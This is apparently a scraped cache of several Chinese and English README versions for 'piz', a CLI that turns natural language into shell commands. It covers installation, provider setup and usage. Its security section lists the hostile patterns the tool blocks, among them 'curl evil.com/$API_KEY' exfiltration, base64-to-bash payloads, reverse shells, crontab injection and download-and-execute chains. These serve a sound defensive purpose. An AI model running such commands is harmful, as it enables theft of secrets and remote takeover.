`https://api.siliconflow.cn` | Qwen/Qwen3-8B |\n| OpenRouter | `https://openrouter.ai/api/v1` | auto |\n| Moonshot/Kimi | `https://api.moonshot.cn` | moonshot-v1-8k |\n| 智谱/GLM | `https://open.bigmodel.cn/api/paas/v4` | glm-4-flash |\n| 百度千帆 | `https://qianfan.baidubce.com/v2` | deepseek-v3 |\n| 阿里DashScope | `https://dashscope.aliyuncs.com/compatible-mode/v1` | qwen-plus |\n| Mistral | `https://api.mistral.ai/v1` | mistral-small-latest |\n| Together | `https://api.together.xyz/v1` | Meta-Llama-3-8B |\n| Minimax | `https://api.minimax.io/v1` | MiniMax-M1 |\n| 字节BytePlus | `https://api.byteplus.volcengineapi.com/v1` | doubao-1.5-pro-32k |\n\n</details>\n\n## 配置文件\n\n路径:`~/.piz/config.toml`\n\n```toml\ndefault_backend = \"openai\"\ncache_ttl_hours = 48 # 缓存有效期(2天)\ncache_max_entries = 1000 # 最大缓存条目数(LRU 淘汰)\nauto_confirm_safe = true # 安全命令自动执行\nlanguage = \"zh\" # 界面语言:zh / en\nchat_history_size = 20 # 对话历史最大消息数\n\n[openai]\napi_key = \"sk-your-key\"\nmodel = \"gpt-4o-mini\"\n# base_url = \"https://api.openai.com\"\n\n# [claude]\n# api_key = \"sk-ant-xxx\"\n# model = \"claude-sonnet-4-20250514\"\n\n# [gemini]\n# api_key = \"your-gemini-key\"\n# model = \"gemini-2.5-flash\"\n\n# [ollama]\n# host = \"http://localhost:11434\"\n# model = \"llama3\"\n```\n\n### 常见供应商配置\n\n<details>\n<summary>DeepSeek</summary>\n\n```toml\n[openai]\napi_key = \"sk-your-deepseek-key\"\nmodel = \"deepseek-chat\"\nbase_url = \"https://api.deepseek.com\"\n```\n</details>\n\n<details>\n<summary>硅基流动 (SiliconFlow)</summary>\n\n```toml\n[openai]\napi_key = \"sk-your-key\"\nmodel = \"Qwen/Qwen3-8B\"\nbase_url = \"https://api.siliconflow.cn\"\n```\n</details>\n\n<details>\n<summary>Google Gemini</summary>\n\n```toml\n[gemini]\napi_key = \"your-gemini-key\"\nmodel = \"gemini-2.5-flash\"\n```\n</details>\n\n<details>\n<summary>OpenRouter</summary>\n\n```toml\n[openai]\napi_key = \"sk-or-your-key\"\nmodel = \"auto\"\nbase_url = \"https://openrouter.ai/api/v1\"\n```\n</details>\n\n<details>\n<summary>Moonshot / 月之暗面</summary>\n\n```toml\n[openai]\napi_key = \"sk-your-key\"\nmodel = \"moonshot-v1-8k\"\nbase_url = \"https://api.moonshot.cn\"\n```\n</details>\n\n<details>\n<summary>智谱 / GLM</summary>\n\n```toml\n[openai]\napi_key = \"your-key\"\nmodel = \"glm-4-flash\"\nbase_url = \"https://open.bigmodel.cn/api/paas/v4\"\n```\n</details>\n\n## 安全机制\n\npiz 实现了三层安全防护:\n\n### 1. Prompt 层拒绝\n非命令输入(问候、闲聊、Prompt 注入尝试)会被 LLM 拒绝并返回说明,不会生成可执行命令。\n\n### 2. 注入检测(本地正则,无需 LLM)\n命令在执行前会被扫描以下恶意模式:\n- 环境变量泄露(`curl evil.com/$API_KEY`)\n- 编码载荷(`echo ... | base64 -d | bash`)\n- 反弹 Shell(`python -e 'import socket...'`)\n- Shell 配置覆写(`> ~/.bashrc`)\n- 静默 Crontab 注入(`| crontab -`)\n- curl 配置文件攻击(`curl -K malicious.conf`)\n- 下载-执行链(`wget ... && chmod +x && ./`)\n- 危险的 find/xargs 模式(`find -delete`、`xargs rm`)\n\n命中以上模式的命令会被**直接拦截**,无法执行。注入提示信息已全面国际化(中/英)。\n\n缓存命中时也会重新验证注入检测 —— 中毒的缓存条目会被自动清除。\n\n### 3. 危险分级\n\n| 级别 | 行为 | 示例 |\n|------|------|------|\n| **安全** | 自动执行(如已配置) | `ls`、`df -h`、`git status` |\n| **警告** | 弹出确认 | `sudo apt install`、`chmod 755`、`git push` |\n| **危险** | 红色警告 + 强制二次确认(无法跳过) | `rm -rf /`、`mkfs`、`DROP TABLE` |\n\n## 项目结构\n\n```\npiz/\n├── src/\n│ ├── main.rs # 入口,CLI 分发,响应解析,多候选选择\n│ ├── cli.rs # clap 命令行参数定义(含 clap_complete)\n│ ├── config.rs # TOML 配置 + 交互式配置向导(12 个供应商预设)\n│ ├── context.rs # 系统上下文收集(OS、Shell、CWD、架构、Git、包管理器)\n│ ├── i18n.rs # 多语言翻译(中/英),含注入检测消息国际化\n│ ├── llm/\n│ │ ├── mod.rs # LlmBackend trait + 工厂函数 + 重试/退避工具\n│ │ ├── prompt.rs # Prompt 模板(含安全规则、few-shot 示例、多候选支持)\n│ │ ├── openai.rs # OpenAI 兼容适配器(含重试)\n│ │ ├── claude.rs # Claude 适配器(含重试)\n│ │ ├── gemini.rs # Google Gemini 适配器(含重试)\n│ │ └── ollama.rs # Ollama 适配器(含重试)\n│ ├── cache.rs # SQLite 缓存(SHA256 key + TTL + LRU 淘汰)+ 执行历史\n│ ├── danger.rs # 正则危险检测 + 注入扫描(InjectionReason 枚举)\n│ ├── executor.rs # 用户确认交互 + 命令执行\n│ ├── explain.rs # 命令解释模式\n│ ├── fix.rs # 命令纠错模式 + 自动修复重试循环\n│ ├── chat.rs # 交互式对话模式(斜杠命令 + 历史持久化)\n│ ├── history.rs # Shell 历史记录读取\n│ ├── shell_init.rs # Shell 集成代码生成(bash/zsh/fish/PowerShell)+ 内置别名\n│ └── ui.rs # 终端输出格式化(Spinner、Diff、着色)\n├── tests/\n│ ├── integration.rs # 集成测试\n│ ├── llm_e2e.rs # LLM 端到端测试(需要 API key,默认跳过)\n│ └── windows_shells.rs # 跨 Shell 测试(cmd/PowerShell/bash)\n├── homebrew/\n│ └── piz.rb # Homebrew formula 模板(发版时自动渲染)\n├── install.sh # macOS/Linux 安装脚本\n└── install.ps1 # Windows 安装脚本\n```\n\n## 构建\n\n```bash\n# 前提:Rust 1.70+\ngit clone https://github.com/AriesOxO/piz.git\ncd piz\n\ncargo build --release # 构建\ncargo test # 运行测试(437 个)\ncargo install --path . # 安装到 PATH\n```\n\n## 环境变量\n\n| 变量 | 说明 |\n|------|------|\n| `NO_COLOR` | 设置为任意值可禁用彩色输出 |\n\n## 参与贡献\n\n欢迎贡献!请阅读 [CONTRIBUTING.md](CONTRIBUTING.md) 了解贡献指南。\n\n## 许可证\n\n本项目基于 MIT 许可证开源,详见 [LICENSE](LICENSE)。\n\n## Star History\n\n[![Star History Chart](https://api.star-history.com/svg?repos=AriesOxO/piz&type=Date)](https://star-history.com/#AriesOxO/piz&Date)\n"}, "f3c6a732b076905d903748644e1ca662203affd9": {"t": 1785760763.9678955, "n": 12960, "h": "8f703c8d48d9127e", "c": "<h1 align=\"center\">piz</h1>\n\n<p align=\"center\">\n <strong>智能终端命令助手</strong><br>\n 用自然语言描述,自动生成 Shell 命令\n</p>\n\n<p align=\"center\">\n <a href=\"https://github.com/AriesOxO/piz/actions\"><img src=\"https://github.com/AriesOxO/piz/workflows/CI/badge.svg\" alt=\"CI\"></a>\n <a href=\"https://github.com/AriesOxO/piz/releases\"><img src=\"https://img.shields.io/github/v/release/AriesOxO/piz\" alt=\"Release\"></a>\n <a href=\"https://github.com/AriesOxO/piz/blob/main/LICENSE\"><img src=\"https://img.shields.io/github/license/AriesOxO/piz\" alt=\"License\"></a>\n</p>\n\n<p align=\"center\">\n <a href=\"./README_EN.md\">English</a> |\n <a href=\"./README.md\">简体中文</a>\n</p>\n\n---\n\n<p align=\"center\">\n <img src=\"assets/demo.gif\" alt=\"piz demo\" width=\"800\">\n</p>\n\n## piz 是什么?\n\n**piz** 解决一个问题:你知道想做什么,但记不住具体命令。用自然语言描述你的需求,piz 自动翻译成适合当前系统和 Shell 的命令。\n\n```\n$ piz 查看磁盘使用情况\n ➜ df -h\n [Y] 执行 [n] 取消 [e] 编辑\n```\n\n## 核心功能\n\n- **自然语言转命令** — 描述需求,得到精确命令\n- **多 LLM 后端** — 支持 OpenAI、Claude、Gemini、Ollama + 12 个 OpenAI 兼容供应商(DeepSeek、硅基流动、OpenRouter、Moonshot、智谱GLM、百度千帆、阿里DashScope、Mistral、Together、Minimax、字节BytePlus 等)\n- **安全加固** — 三层防护:Prompt 层拒绝非命令输入、注入检测(base64 载荷、环境变量泄露、反弹 Shell、curl 配置攻击)、正则危险分级\n- **危险命令检测** — 正则 + LLM 双重防护,危险命令强制二次确认,无法跳过\n- **命令解释** — `piz -e 'command'` 逐项拆解命令含义\n- **命令纠错** — `piz fix` 自动诊断并修复失败命令,支持自动重试(最多 3 次)\n- **交互式对话** — `piz chat` 多轮对话模式,支持 `/help`、`/clear`、`/history` 命令和历史持久化\n- **多候选命令** — `-n` 参数生成多个命令方案,自主选择最优方案\n- **本地缓存** — SQLite 缓存 + TTL 过期 + LRU 淘汰 + 最大条目数限制,重复查询秒返回\n- **执行历史** — `piz history` 查看和搜索所有执行过的命令\n- **Shell 集成** — `piz init <shell>` 生成 Shell 包装函数,使 `cd`/`export`/`source` 在当前 Shell 中正确生效(bash、zsh、fish、PowerShell),内置便捷别名(`p`、`pf`、`pc`)\n- **Eval 模式** — `--eval` 将确认后的命令输出给 Shell 包装函数执行\n- **Shell 补全** — 支持 bash、zsh、fish、PowerShell 自动补全\n- **管道模式** — `--pipe` 纯命令输出,便于脚本集成\n- **多语言界面** — 中文、英文,安全提示信息全面国际化\n- **跨平台** — Windows (PowerShell/cmd)、macOS、Linux (bash/zsh/fish),零侵入编码处理(不修改 `chcp`/`OutputEncoding`)\n- **交互式配置** — 首次运行自动引导,内置供应商预设,无需手动编辑配置\n- **NO_COLOR 支持** — 尊重 `NO_COLOR` 环境变量\n- **API 容错** — 429/5xx 错误自动重试 + 指数退避\n\n## 快速开始\n\n### 安装\n\n**Homebrew(macOS / Linux):**\n\n```bash\nbrew install AriesOxO/tap/piz\n```\n\n**macOS / Linux(一键安装):**\n\n```bash\ncurl -fsSL https://raw.githubusercontent.com/AriesOxO/piz/main/install.sh | bash\n```\n\n**Windows(PowerShell):**\n\n```powershell\niwr -useb https://raw.githubusercontent.com/AriesOxO/piz/main/install.ps1 | iex\n```\n\n**Cargo(全平台):**\n\n```bash\ncargo install piz\n```\n\n**手动下载:**\n\n前往 [Releases](https://github.com/AriesOxO/piz/releases) 下载二进制文件、`.msi`(Windows)或 `.deb`(Debian/Ubuntu)。\n\n| 平台 | 下载格式 |\n|------|---------|\n| Windows x86_64 | `.msi` `.zip` |\n| macOS x86_64 | `.tar.gz` |\n| macOS ARM64 (Apple Silicon) | `.tar.gz` |\n| Linux x86_64 | `.tar.gz` `.deb` |\n| Linux ARM64 | `.tar.gz` |\n\n### 配置\n\n首次运行任何命令,会自动进入交互式配置向导:\n\n```\n$ piz 列出文件\n\n ⚙ piz 配置向导\n\n? 选择语言 / Select language:中文\n? 选择默认 LLM 后端:\n > openai (DeepSeek, SiliconFlow, OpenRouter, ...)\n claude\n gemini (Google)\n ollama (本地)\n? 选择 API 供应商:\n OpenAI / DeepSeek / 硅基流动 / OpenRouter / Moonshot\n 智谱GLM / 百度千帆 / 阿里DashScope / Mistral / Together\n Minimax / 字节BytePlus / 自定义URL\n? API 地址:https://api.siliconflow.cn\n? API 密钥:sk-xxxxx\n? 模型名称:Qwen/Qwen3-8B\n? 安全命令是否自动执行(不弹出确认)?是\n\n ✔ 配置已保存\n```\n\n也可以手动运行:`piz config --init`\n\n## 使用示例\n\n### 自然语言转命令\n\n```bash\npiz 查看磁盘使用情况 # → df -h\npiz 找出所有大于100M的文件 # → find . -size +100M -type f\npiz 压缩src目录 # → tar -czf src.tar.gz src/\npiz 查看3000端口被谁占用 # → lsof -i :3000\npiz 统计当前目录代码行数 # → find . -name \"*.rs\" | xargs wc -l\n```\n\n### 多候选模式\n\n```bash\n$ piz -n 3 查找大文件\n? 选择要执行的命令:\n> 1. find . -size +100M -type f — 查找大于 100MB 的文件\n 2. du -ah . | sort -rh | head -20 — 显示最大的 20 个文件/目录\n 3. ls -lhRS | head -30 — 按大小降序列出文件\n```\n\n### 命令解释\n\n```bash\n$ piz -e 'awk \"{print \\$2}\" access.log | sort | uniq -c | sort -rn | head -10'\n📖 命令解释:\n\n awk \"{print $2}\" — 提取每行第2个字段(通常是URL或IP)\n access.log — 输入文件\n sort — 排序(为 uniq 做准备)\n uniq -c — 去重并统计出现次数\n sort -rn — 按数字降序排列\n head -10 — 取前10条结果\n```\n\n### 命令纠错\n\n```bash\n$ npm install\n→ EACCES: permission denied...\n\n$ piz fix\n🔧 诊断:权限不足,无法写入 node_modules\n - npm install\n + sudo npm install\n```\n\n修复命令支持自动重试:如果修复后的命令仍然失败,piz 会继续分析错误并尝试修复,最多 3 轮。\n\n### 交互式对话模式\n\n```bash\n$ piz chat\n💬 交互模式\n输入你的请求,或 'exit'/'quit' 退出。\n\n> 列出所有运行中的 docker 容器\n ➜ docker ps\n [Y] 执行 [n] 取消 [e] 编辑\n\n> 只显示名称\n ➜ docker ps --format '{{.Names}}'\n```\n\n对话模式支持特殊命令:\n- `/help` — 显示可用命令\n- `/clear` — 清除对话历史\n- `/history` — 查看对话历史\n- `/detail` — 切换内联命令解释开关\n\n### 执行历史\n\n```bash\n$ piz history # 查看最近 20 条执行记录\n$ piz history docker -l 10 # 搜索含 \"docker\" 的最近 10 条记录\n```\n\n### Shell 补全\n\n```bash\npiz completions bash > ~/.bash_completion.d/piz # Bash\npiz completions zsh > ~/.zfunc/_piz # Zsh\npiz completions fish > ~/.config/fish/completions/piz.fish # Fish\npiz completions powershell > piz.ps1 # PowerShell\n```\n\n### Shell 集成\n\nShell 集成可以让 `cd`、`export`、`source` 等命令在当前 Shell 会话中正确生效。运行 `piz init <shell>` 并将输出添加到你的 Shell 配置文件中:\n\n**Bash / Zsh:**\n\n```bash\n# 添加到 ~/.bashrc 或 ~/.zshrc:\neval \"$(piz init bash)\" # 或:eval \"$(piz init zsh)\"\n```\n\n**Fish:**\n\n```fish\n# 添加到 ~/.config/fish/config.fish:\npiz init fish | source\n```\n\n**PowerShell:**\n\n```powershell\n# 添加到 $PROFILE:\npiz init powershell | Out-String | Invoke-Expression\n```\n\n配置完成后,piz 会自动使用 `--eval` 模式,`cd`、`export`、`source` 等命令将在当前 Shell 中正确生效。\n\nShell 集成还提供了内置便捷别名:\n\n| 别名 | 命令 | 说明 |\n|------|------|------|\n| `p` | `piz` | piz 短别名 |\n| `pf` | `piz fix` | 快速修复上一条失败命令 |\n| `pc` | `piz chat` | 快速进入对话模式 |\n\n```bash\np 列出所有 rust 文件 # 等同于:piz 列出所有 rust 文件\npf # 等同于:piz fix\npc # 等同于:piz chat\n```\n\n### 管道模式\n\n```bash\n# 仅输出命令,无 UI —— 适合脚本集成\npiz --pipe 查看所有 rust 文件 # → find . -name \"*.rs\"\neval $(echo \"列出文件\" | piz --pipe) # 直接执行\n```\n\n### 配置管理\n\n```bash\npiz config --init # 运行配置向导\npiz config --show # 查看当前配置(API 密钥自动脱敏)\npiz config --reset # 删除配置文件,重新开始\n```\n\n### 其他用法\n\n```bash\npiz --backend ollama 查看内存 # 临时切换后端\npiz --backend gemini 查看CPU # 使用 Google Gemini\npiz --no-cache 查看系统信息 # 跳过缓存\npiz --verbose 列出文件 # 调试:显示 Prompt 和 LLM 响应\npiz -n 3 列出文件 # 生成 3 个候选命令\npiz clear-cache # 清空缓存\npiz --eval 列出文件 # Eval 模式(用于 Shell 集成)\npiz --version # 查看版本\n```\n\n## 更新\n\n### 自更新\n\n```bash\npiz update # 交互式:检查最新版本并升级\n```\n\n`piz update` 检查 GitHub Releases 获取最新版本。如果有新版本,可选择两种升级方式:\n\n1. **覆盖安装** — 直接替换当前二进制文件\n2. **卸载后重装** — 先删除旧版本,再安装新版本\n\n两种方式均支持失败自动回滚。\n\n### 自动更新检查\n\npiz 在每次运行后**自动在后台检查更新**(每 24 小时最多一次,5 秒超时,绝不会阻塞)。检测到新版本时会显示提示:\n\n```\nℹ piz 0.3.0 is available (current: 0.2.5). Run `piz update` to upgrade.\n```\n\n无需任何配置即可使用。检查状态存储在 `~/.piz/update_state.json`。\n\n### 手动安装(指定版本)\n\n如需安装特定版本,可直接从 [GitHub Releases](https://github.com/AriesOxO/piz/releases) 下载:\n\n```bash\n# Linux/macOS — 替换 VERSION 和 TARGET\ncurl -fsSL https://github.com/AriesOxO/piz/releases/download/vVERSION/piz-TARGET.tar.gz | tar xz\nsudo mv piz /usr/local/bin/\n\n# Windows (PowerShell)\nInvoke-WebRequest -Uri \"https://github.com/AriesOxO/piz/releases/download/vVERSION/piz-x86_64-pc-windows-msvc.zip\" -OutFile piz.zip\nExpand-Archive piz.zip -DestinationPath .\nMove-Item piz.exe \"$env:LOCALAPPDATA\\piz\\piz.exe\"\n```\n\n或通过安装脚本重新安装:\n\n```bash\n# Linux/macOS\ncurl -fsSL https://raw.githubusercontent.com/AriesOxO/piz/main/install.sh | bash\n\n# Windows (PowerShell)\nirm https://raw.githubusercontent.com/AriesOxO/piz/main/install.ps1 | iex\n```\n\n## 支持的供应商\n\n### 原生后端\n\n| 后端 | 配置段 | 说明 |\n|------|--------|------|\n| **OpenAI** | `[openai]` | 同时支持任何 OpenAI 兼容 API(通过 `base_url`) |\n| **Claude** | `[claude]` | Anthropic Messages API,支持自定义 `base_url` |\n| **Gemini** | `[gemini]` | Google Generative AI 原生 API |\n| **Ollama** | `[ollama]` | 本地模型,无需 API key |\n\n### OpenAI 兼容供应商(通过 `[openai]` + 自定义 `base_url`)\n\n<details>\n<summary>点击展开全部 12 个供应商</summary>\n\n| 供应商 | base_url | 默认模型 |\n|--------|----------|---------|\n| OpenAI | `https://api.openai.com` | gpt-4o-mini |\n| DeepSeek | `https://api.deepseek.com` | deepseek-chat |\n| 硅基流动 | `https://api.siliconflow.cn` | Qwen/Qwen3-8B |\n| OpenRouter | `https://openrouter.ai/api/v1` | auto |\n| Moonshot/Kimi | `https://api.moonshot.cn` | moonshot-v1-8k |\n| 智谱/GLM | `https://open.bigmodel.cn/api/paas/v4` | glm-4-flash |\n| 百度千帆 | `https://qianfan.baidubce.com/v2` | deepseek-v3 |\n| 阿里DashScope | `https://dashscope.aliyuncs.com/compatible-mode/v1` | qwen-plus |\n| Mistral | `https://api.mistral.ai/v1` | mistral-small-latest |\n| Together | `https://api.together.xyz/v1` | Meta-Llama-3-8B |\n| Minimax | `https://api.minimax.io/v1` | MiniMax-M1 |\n| 字节BytePlus | `https://api.byteplus.volcengineapi.com/v1` | doubao-1.5-pro-32k |\n\n</details>\n\n## 配置文件\n\n路径:`~/.piz/config.toml`\n\n```toml\ndefault_backend = \"openai\"\ncache_ttl_hours = 168 # 缓存有效期(7天)\ncache_max_entries = 1000 # 最大缓存条目数(LRU 淘汰)\nauto_confirm_safe = true # 安全命令自动执行\nlanguage = \"zh\" # 界面语言:zh / en\nchat_history_size = 20 # 对话历史最大消息数\n\n[openai]\napi_key = \"sk-your-key\"\nmodel = \"gpt-4o-mini\"\n# base_url = \"https://api.openai.com\"\n\n# [claude]\n# api_key = \"sk-ant-xxx\"\n# model = \"claude-sonnet-4-20250514\"\n\n# [gemini]\n# api_key = \"your-gemini-key\"\n# model = \"gemini-2.5-flash\"\n\n# [ollama]\n# host = \"http://localhost:11434\"\n# model = \"llama3\"\n```\n\n### 常见供应商配置\n\n<details>\n<summary>DeepSeek</summary>\n\n```toml\n[openai]\napi_key = \"sk-your-deepseek-key\"\nmodel = \"deepseek-chat\"\nbase_url = \"https://api.deepseek.com\"\n```\n</details>\n\n<details>\n<summary>硅基流动 (SiliconFlow)</summary>\n\n```toml\n[openai]\napi_key = \"sk-your-key\"\nmodel = \"Qwen/Qwen3-8B\"\nbase_url = \"https://api.siliconflow.cn\"\n```\n</details>\n\n<details>\n<summary>Google Gemini</summary>\n\n```toml\n[gemini]\napi_key = \"your-gemini-key\"\nmodel = \"gemini-2.5-flash\"\n```\n</details>\n\n<details>\n<summary>OpenRouter</summary>\n\n```toml\n[openai]\napi_key = \"sk-or-your-key\"\nmodel = \"auto\"\nbase_url = \"https://openrouter.ai/api/v1\"\n```\n</details>\n\n<details>\n<summary>Moonshot / 月之暗面</summary>\n\n```toml\n[openai]\napi_key = \"sk-your-key\"\nmodel = \"moonshot-v1-8k\"\nbase_url = \"https://api.moonshot.cn\"\n```\n</details>\n\n<details>\n<summary>智谱 / GLM</summary>\n\n```toml\n[openai]\napi_key = \"your-key\"\nmodel = \"glm-4-flash\"\nbase_url = \"https://open.bigmodel.cn/api/paas/v4\"\n```\n</details>\n\n## 安全机制\n\npiz 实现了三层安全防护:\n\n### 1. Prompt 层拒绝\n非命令输入(问候、闲聊、Prompt 注入尝试)会被 LLM 拒绝并返回说明,不会生成可执行命令。\n\n### 2. 注入检测(本地正则,无需 LLM)\n命令在执行前会被扫描以下恶意模式:\n- 环境变量泄露(`curl evil.com/$API_KEY`)\n- 编码载荷(`echo ... | base64 -d | bash`)\n- 反弹 Shell(`python -e 'import socket...'`)\n- Shell 配置覆写(`> ~/.bashrc`)\n- 静默 Crontab 注入(`| crontab -`)\n- curl 配置文件攻击(`curl -K malicious.conf`)\n- 下载-执行链(`wget ... && chmod +x && ./`)\n- 危险的 find/xargs 模式(`find -delete`、`xargs rm`)\n\n命中以上模式的命令会被**直接拦截**,无法执行。注入提示信息已全面国际化(中/英)。\n\n缓存命中时也会重新验证注入检测 —— 中毒的缓存条目会被自动清除。\n\n### 3. 危险分级\n\n| 级别 | 行为 | 示例 |\n|------|------|------|\n| **安全** | 自动执行(如已配置) | `ls`、`df -h`、`git status` |\n| **警告** | 弹出确认 | `sudo apt install`、`chmod 755`、`git push` |\n| **危险** | 红色警告 + 强制二次确认(无法跳过) | `rm -rf /`、`mkfs`、`DROP TABLE` |\n\n## 项目结构\n\n```\npiz/\n├── src/\n│ ├── main.rs # 入口,CLI 分发,响应解析,多候选选择\n│ ├── cli.rs # clap 命令行参数定义(含 clap_complete)\n│ ├── config.rs # TOML 配置 + 交互式配置向导(12 个供应商预设)\n│ ├── context.rs # 系统上下文收集(OS、Shell、CWD、架构、Git、包管理器)\n│ ├── i18n.rs # 多语言翻译(中/英),含注入检测消息国际化\n│ ├── llm/\n│ │ ├── mod.rs # LlmBackend trait + 工厂函数 + 重试/退避工具\n│ │ ├── prompt.rs # Prompt 模板(含安全规则、few-shot 示例、多候选支持)\n│ │ ├── openai.rs # OpenAI 兼容适配器(含重试)\n│ │ ├── claude.rs # Claude 适配器(含重试)\n│ │ ├── gemini.rs # Google Gemini 适配器(含重试)\n│ │ └── ollama.rs # Ollama 适配器(含重试)\n│ ├── cache.rs # SQLite 缓存(SHA256 key + TTL + LRU 淘汰)+ 执行历史\n│ ├── danger.rs # 正则危险检测 + 注入扫描(InjectionReason 枚举)\n│ ├── executor.rs # 用户确认交互 + 命令执行\n│ ├── explain.rs # 命令解释模式\n│ ├── fix.rs # 命令纠错模式 + 自动修复重试循环\n│ ├── chat.rs # 交互式对话模式(斜杠命令 + 历史持久化)\n│ ├── history.rs # Shell 历史记录读取\n│ ├── shell_init.rs # Shell 集成代码生成(bash/zsh/fish/PowerShell)+ 内置别名\n│ └── ui.rs # 终端输出格式化(Spinner、Diff、着色)\n├── tests/\n│ ├── integration.rs # 集成测试\n│ ├── llm_e2e.rs # LLM 端到端测试(需要 API key,默认跳过)\n│ └── windows_shells.rs # 跨 Shell 测试(cmd/PowerShell/bash)\n├── homebrew/\n│ └── piz.rb # Homebrew formula 模板(发版时自动渲染)\n├── install.sh # macOS/Linux 安装脚本\n└── install.ps1 # Windows 安装脚本\n```\n\n## 构建\n\n```bash\n# 前提:Rust 1.70+\ngit clone https://github.com/AriesOxO/piz.git\ncd piz\n\ncargo build --release # 构建\ncargo test # 运行测试(437 个)\ncargo install --path . # 安装到 PATH\n```\n\n## 环境变量\n\n| 变量 | 说明 |\n|------|------|\n| `NO_COLOR` | 设置为任意值可禁用彩色输出 |\n\n## 参与贡献\n\n欢迎贡献!请阅读 [CONTRIBUTING.md](CONTRIBUTING.md) 了解贡献指南。\n\n## 许可证\n\n本项目基于 MIT 许可证开源,详见 [LICENSE](LICENSE)。\n\n## Star History\n\n[![Star History Chart](https://api.star-history.com/svg?repos=AriesOxO/piz&type=Date)](https://star-history.com/#AriesOxO/piz&Date)\n"}, "2521b7b51ec256d5e66b428782a0aed2cfaf5024": {"t": 1785760765.515513, "n": 17967, "h": "079a9ade20fbb8cf", "c": "<h1 align=\"center\">piz</h1>\n\n<p align=\"center\">\n <strong>Intelligent terminal command assistant</strong><br>\n Translate natural language to shell commands with AI\n</p>\n\n<p align=\"center\">\n <a href=\"https://github.com/AriesOxO/piz/actions\"><img src=\"https://github.com/AriesOxO/piz/workflows/CI/badge.svg\" alt=\"CI\"></a>\n <a href=\"https://github.com/AriesOxO/piz/releases\"><img src=\"https://img.shields.io/github/v/release/AriesOxO/piz\" alt=\"Release\"></a>\n <a href=\"https://github.com/AriesOxO/piz/blob/main/LICENSE\"><img src=\"https://img.shields.io/github/license/AriesOxO/piz\" alt=\"License\"></a>\n</p>\n\n<p align=\"center\">\n <a href=\"./README.md\">English</a> |\n <a href=\"./README_ZH.md\">简体中文</a>\n</p>\n\n---\n\n<p align=\"center\">\n <img src=\"assets/demo.gif\" alt=\"piz demo\" width=\"800\">\n</p>\n\n## What is piz?\n\n**piz** solves one problem: you know *what* you want to do, but not the exact command. Describe it in plain language, and piz translates it into the right shell command for your OS and shell.\n\n```\n$ piz list all files larger than 100MB\n ➜ find . -size +100M -type f\n [Y] Execute [n] Cancel [e] Edit\n```\n\n## Features\n\n- **Natural Language to Command** - Describe what you want, get the exact command\n- **Multi-Backend LLM** - OpenAI, Claude, Gemini, Ollama + 12 OpenAI-compatible providers (DeepSeek, SiliconFlow, OpenRouter, Moonshot, Zhipu/GLM, Qianfan, DashScope, Mistral, Together, Minimax, BytePlus, and more)\n- **Security Hardening** - Three-layer protection: prompt-level refusal for non-command input, injection detection (base64 payloads, env exfiltration, reverse shells, curl config attacks), and regex-based danger classification\n- **Danger Detection** - Dual-layer: regex patterns + LLM classification. Dangerous commands always require explicit confirmation\n- **Command Explain** - Break down any command into its components with `piz -e`\n- **Command Fix** - Auto-diagnose and fix failed commands with `piz fix`, with auto-retry (up to 3 attempts)\n- **Interactive Chat** - Multi-turn chat mode with context (`piz chat`), with `/help`, `/clear`, `/history` commands and persistent history\n- **Multi-Candidate** - Generate multiple command options with `-n` and pick your preferred one\n- **Local Cache** - SQLite cache with TTL + LRU eviction, max entries limit, repeated queries return instantly\n- **Execution History** - Track all executed commands with `piz history`, searchable\n- **Shell Integration** - `piz init <shell>` generates shell wrapper functions so `cd`/`export`/`source` work correctly in the current shell (bash, zsh, fish, PowerShell), with built-in aliases (`p`, `pf`, `pc`)\n- **Eval Mode** - `--eval` outputs confirmed command for shell wrapper to eval, used by shell integration\n- **Shell Completions** - Generate completions for bash, zsh, fish, and PowerShell\n- **Pipe Mode** - Script-friendly output with `--pipe` for integration with other tools\n- **Multi-Language UI** - Chinese, English interface with localized security messages\n- **Cross-Platform** - Windows (PowerShell/cmd), macOS, Linux (bash/zsh/fish) with non-invasive encoding (no `chcp`/`OutputEncoding` modification)\n- **Interactive Setup** - First-run wizard with provider presets, no manual config editing needed\n- **NO_COLOR Support** - Respects the `NO_COLOR` environment variable\n- **API Resilience** - Automatic retry with exponential backoff for 429/5xx errors\n\n## Quick Start\n\n### Install\n\n**Homebrew (macOS / Linux):**\n\n```bash\nbrew install AriesOxO/tap/piz\n```\n\n**macOS / Linux (one-liner):**\n\n```bash\ncurl -fsSL https://raw.githubusercontent.com/AriesOxO/piz/main/install.sh | bash\n```\n\n**Windows (PowerShell):**\n\n```powershell\niwr -useb https://raw.githubusercontent.com/AriesOxO/piz/main/install.ps1 | iex\n```\n\n**Cargo (any platform):**\n\n```bash\ncargo install piz\n```\n\n**Manual download:**\n\nDownload binaries or `.msi` (Windows) from [Releases](https://github.com/AriesOxO/piz/releases). Linux binaries are statically linked (musl), compatible with any Linux distribution.\n\n| Platform | Downloads |\n|----------|-----------|\n| Windows x86_64 | `.msi` `.zip` |\n| macOS x86_64 | `.tar.gz` |\n| macOS ARM64 (Apple Silicon) | `.tar.gz` |\n| Linux x86_64 (static musl) | `.tar.gz` |\n| Linux ARM64 (static musl) | `.tar.gz` |\n\n### Setup\n\nRun any command and the interactive setup wizard will start automatically:\n\n```\n$ piz list files\nNo configuration found. Let's set up piz for the first time.\n\n ⚙ piz configuration wizard\n\n? Select language: 中文 / English\n? Select default LLM backend:\n > openai (DeepSeek, SiliconFlow, OpenRouter, ...)\n claude\n gemini (Google)\n ollama (local)\n? Select API provider:\n OpenAI / DeepSeek / SiliconFlow / OpenRouter / Moonshot\n Zhipu-GLM / Qianfan / DashScope / Mistral / Together\n Minimax / BytePlus / Custom URL\n? API base URL: https://api.siliconflow.cn\n? API key: sk-xxxxx\n? Model name: Qwen/Qwen3-8B\n? Auto-execute safe commands without confirmation? Yes\n\n ✔ Config saved\n```\n\nOr manually: `piz config --init`\n\n## Usage\n\n### Translate natural language\n\n```bash\npiz show disk usage # → df -h\npiz find all rust files modified today # → find . -name \"*.rs\" -mtime 0\npiz compress the src folder # → tar -czf src.tar.gz src/\n```\n\n### Multi-candidate mode\n\n```bash\n$ piz -n 3 find large files\n? Select a command to execute:\n> 1. find . -size +100M -type f — Find files larger than 100MB\n 2. du -ah . | sort -rh | head -20 — Show top 20 largest files/dirs\n 3. ls -lhRS | head -30 — List files sorted by size descending\n```\n\n### Explain a command\n\n```bash\n$ piz -e 'tar -czf archive.tar.gz src/'\n📖 Command explanation:\n\n tar — tape archive tool\n -c — create a new archive\n -z — compress with gzip\n -f — specify output filename\n src/ — directory to archive\n```\n\n### Fix failed commands\n\n```bash\n$ npm install\n→ 